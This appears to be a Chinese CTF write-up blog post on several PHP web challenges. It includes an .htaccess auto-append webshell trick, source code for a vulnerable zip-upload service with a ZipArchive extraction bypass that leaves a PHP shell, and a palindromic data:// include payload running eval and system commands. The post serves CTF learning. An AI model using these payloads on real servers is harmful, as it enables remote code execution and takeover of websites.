AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"

 然后传入一个1.txt文件，写入一句话木马的base64编码。

 蚁剑连接。在目录下得到flag。

参考：Web安全｜.htaccess的奇淫技巧 - 腾讯云开发者社区-腾讯云

下面的都没做出来，根据别的师傅wp学习一下

Dest0g3 520迎新赛_Ff.cheng的博客-CSDN博客

easySSTL

参考：以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区

ezzip

没有信息，我们把s图下载下来，010editor打开，在末尾发现了一串base64

解码后得到源代码：

upload.php:
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."
";
    if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
 
zip.php:
class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;
 
    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }
 
    public function deldir($dir) {
         //先删除目录下的文件：
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];
 
        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i$file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
            }
            else{
                if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
            }
        }
        return true;
 
    }
 
 
}

代码审计可知：它会解压ZIP，然后删除ZIP除去图片的所有文件

根据大佬博客里提到使用了 ZipArchive，绕过zip解压方法：两个文件 1.php 和 2.txt，压缩为zip，对压缩文件的文件名进行操作可以导致解压失败从而终止解压，然后遗留shell文件getshell，修改其中一个filename为 /

蚁剑连接：

http://c0213195-4c20-4885-8344-531d0a5476db.node4.buuoj.cn:81/20ef813f9551b2a0c9c242171ad8803d/1.php

密码即为你上传的木马 我这里是1vxyz

进入之后根目录下找到flag点开却没有内容，进入终端cat一下发现没有权限

我们nl来读取，得到flag

 其他题目水平还不够，看了wp也不明白 以后在尝试看一看

ctfshow 单身杯web签到

 
error_reporting(0);
highlight_file(__FILE__);
 
$file = $_POST['file'];
 
if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }
 

strrev 就是翻转字符串，这道题就要保证传入的file字符串反转一样。 同时include file

可以使用data协议，因为data协议php标记?>闭合后可以加任意字符不会影响。

file=data://text/plain,>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');

 发现 f1agaaa  cat/f1agaaa 得到flag